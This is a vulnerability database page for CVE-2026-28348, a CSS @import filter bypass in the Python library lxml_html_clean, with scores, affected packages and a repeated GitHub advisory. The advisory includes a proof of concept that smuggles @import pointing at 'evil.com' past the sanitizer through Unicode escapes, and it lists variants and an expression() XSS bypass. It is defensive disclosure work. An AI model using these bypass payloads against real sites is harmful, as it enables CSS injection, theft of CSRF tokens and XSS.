CVE-2026-28348
lxml_html_clean: CSS @import Filter Bypass via Unicode Escapes
lxml_html_clean is a project for HTML cleaning functionalities copied from lxml.html.clean. Prior to version 0.4.4, the _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers. This issue has been patched in version 0.4.4.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.1
lxml_html_clean: CSS @import Filter Bypass via Unicode Escapes
lxml_html_clean is a project for HTML cleaning functionalities copied from lxml.html.clean. Prior to version 0.4.4, the _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers. This issue has been patched in version 0.4.4.
- Record
CVE-2026-28348- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-116
- Updated
- 2026-11-02
EUVDEUVD-2026-9868
6.1
lxml_html_clean is a project for HTML cleaning functionalities copied from lxml.html.clean. Prior to version 0.4.4, the _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers. This issue has been patched in version 0.4.4.
- Record
EUVD-2026-9868- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-hw26-mmpg-fqfg
6.1
lxml-html-clean has CSS @import Filter Bypass via Unicode Escapes
Summary
The _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers.
Details
The root cause is located in clean.py (around line 594):
style = style.replace('\\', '')
This transformation changes a payload like @\69mport into @69mport. This resulting string does NOT match the blacklist keyword @import. However, all modern browsers' CSS parsers decode \69 as the character 'i' (hex 69) according to CSS spec section 4.3.7, interpreting @\69mport as a valid @import statement.
Same root cause bypasses expression() detection: \65xpression(alert(1)) passes through (IE only).
PoC
from lxml_html_clean import clean_html
# Normal @import is correctly blocked:
# clean_html('<style>@import url("http://evil.com/x.css");</style>')
# Output: <div><style> url("http://evil.com/x.css");</style></div>
# Unicode escape bypass:
result = clean_html('<style>@\\69mport url("http://evil.com/x.css");</style>')
print(result)
# Output: <div><style>@\69mport url("http://evil.com/x.css");</style></div>
If rendered in a browser, the browser loads the external CSS. Variants like @\0069mport, @\69 mport (trailing space), and @\49mport (uppercase I) also work.
Impact
External CSS loading enables data exfiltration via attribute selectors (e.g., reading CSRF tokens), UI redressing, and phishing. In older browsers (IE), this allows for full XSS via expression().
- Record
GHSA-hw26-mmpg-fqfg- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-116
- Updated
- 2026-11-02
NVD
6.1
lxml_html_clean is a project for HTML cleaning functionalities copied from lxml.html.clean. Prior to version 0.4.4, the _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers. This issue has been patched in version 0.4.4.
- Record
CVE-2026-28348- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-116
- Updated
- 2026-11-02
OSV
6.1
lxml_html_clean: CSS @import Filter Bypass via Unicode Escapes
lxml_html_clean is a project for HTML cleaning functionalities copied from lxml.html.clean. Prior to version 0.4.4, the _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers. This issue has been patched in version 0.4.4.
- Record
CVE-2026-28348- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-116
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-28348
6.1
lxml_html_clean is a project for HTML cleaning functionalities copied from lxml.html.clean. Prior to version 0.4.4, the _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers. This issue has been patched in version 0.4.4.
- Record
DEBIAN-CVE-2026-28348- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Updated
- 2026-11-02
Show 5 moreShow less
OSVGHSA-hw26-mmpg-fqfg
6.1
lxml-html-clean has CSS @import Filter Bypass via Unicode Escapes
Summary
The _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers.
Details
The root cause is located in clean.py (around line 594):
style = style.replace('\\', '')
This transformation changes a payload like @\69mport into @69mport. This resulting string does NOT match the blacklist keyword @import. However, all modern browsers' CSS parsers decode \69 as the character 'i' (hex 69) according to CSS spec section 4.3.7, interpreting @\69mport as a valid @import statement.
Same root cause bypasses expression() detection: \65xpression(alert(1)) passes through (IE only).
PoC
from lxml_html_clean import clean_html
# Normal @import is correctly blocked:
# clean_html('<style>@import url("http://evil.com/x.css");</style>')
# Output: <div><style> url("http://evil.com/x.css");</style></div>
# Unicode escape bypass:
result = clean_html('<style>@\\69mport url("http://evil.com/x.css");</style>')
print(result)
# Output: <div><style>@\69mport url("http://evil.com/x.css");</style></div>
If rendered in a browser, the browser loads the external CSS. Variants like @\0069mport, @\69 mport (trailing space), and @\49mport (uppercase I) also work.
Impact
External CSS loading enables data exfiltration via attribute selectors (e.g., reading CSRF tokens), UI redressing, and phishing. In older browsers (IE), this allows for full XSS via expression().
- Record
GHSA-hw26-mmpg-fqfg- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-116
- Updated
- 2026-11-02
OSVPYSEC-2026-2201
6.1
lxml_html_clean is a project for HTML cleaning functionalities copied from lxml.html.clean. Prior to version 0.4.4, the _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers. This issue has been patched in version 0.4.4.
- Record
PYSEC-2026-2201- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-28348
6.1
lxml_html_clean is a project for HTML cleaning functionalities copied from lxml.html.clean. Prior to version 0.4.4, the _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers. This issue has been patched in version 0.4.4.
- Record
UBUNTU-CVE-2026-28348- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Updated
- 2026-11-02
OSVopenSUSE-SU-2026:10322-1 No score
python311-lxml_html_clean-0.4.4-1.1 on GA media
These are all security issues fixed in the python311-lxml_html_clean-0.4.4-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:10322-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:20345-1 No score
Security update for python-lxml_html_clean
This update for python-lxml_html_clean fixes the following issues:
Changes in python-lxml_html_clean:
- CVE-2026-28348: improper keywords checking can allow external CSS loading (bsc#1259378)
- CVE-2026-28350: lack of base tag handling can allow the hijacking of the resolution of relative URLs (bsc#1259379)
- Record
openSUSE-SU-2026:20345-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
lxml-html-cleanPyPI |
through 0.4.3 | 0.4.4 |
lxmlDebian:12 |
before 4.9.2-1+deb12u1, plus listed versions 4.9.2-1 |
4.9.2-1+deb12u1 |
lxmlDebian:13 |
before 5.2.0-1 | 5.2.0-1 |
lxmlDebian:14 |
before 5.2.0-1 | 5.2.0-1 |
lxml-html-cleanDebian:13 |
before 0.4.4-1~deb13u1, plus listed versions 0.4.2-10.4.3-1 |
0.4.4-1~deb13u1 |
lxml-html-cleanDebian:14 |
before 0.4.4-1, plus listed versions 0.4.2-10.4.3-10.4.4-1~deb13u1 |
0.4.4-1 |
lxml-html-cleanPyPI |
before 0.4.4, plus listed versions 0.1.00.1.10.2.00.2.10.2.2 Show 6 moreShow less0.3.00.3.10.4.00.4.10.4.20.4.3 |
0.4.4 |
lxml-html-cleanUbuntu:24.04:LTS |
All versions, plus listed versions 0.1.0-0ubuntu10.1.1-1 |
None known |
lxml-html-cleanUbuntu:25.10 |
All versions, plus listed versions 0.4.1-10.4.2-1 |
None known |
lxml-html-cleanUbuntu:26.10 |
All versions, plus listed versions 0.4.4-10.4.5-1 |
None known |
lxml-html-cleanUbuntu:26.04:LTS |
All versions, plus listed versions 0.4.2-10.4.3-10.4.4-1 |
None known |
python-lxml_html_cleanopenSUSE:Tumbleweed From an advisory covering 2 CVEs |
before 0.4.4-1.1 | 0.4.4-1.1 |
python-lxml_html_cleanopenSUSE:Leap 16.0 From an advisory covering 2 CVEs |
before 0.4.2-bp160.2.1 | 0.4.2-bp160.2.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-28348 is a medium vulnerability (CVSS 6.1) in Fedora-python Lxml Html Clean, published March 2, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.28%, the 20th percentile. Fixed in lxml-html-clean 0.4.4.
References
github.com/fedora-python/lxml_html_clean/security/advisories/GHSA-hw26-mmpg-fqfg
github.com/fedora-python/lxml_html_clean/commit/2ef732667ddbc74ea59847bcf24b75809aaeed3b
nvd.nist.gov/vuln/detail/CVE-2026-28348
github.com/advisories/GHSA-hw26-mmpg-fqfg
github.com/CVEProject/cvelistV5/tree/main/cves/2026/28xxx/CVE-2026-28348.json
security-tracker.debian.org/tracker/CVE-2026-28348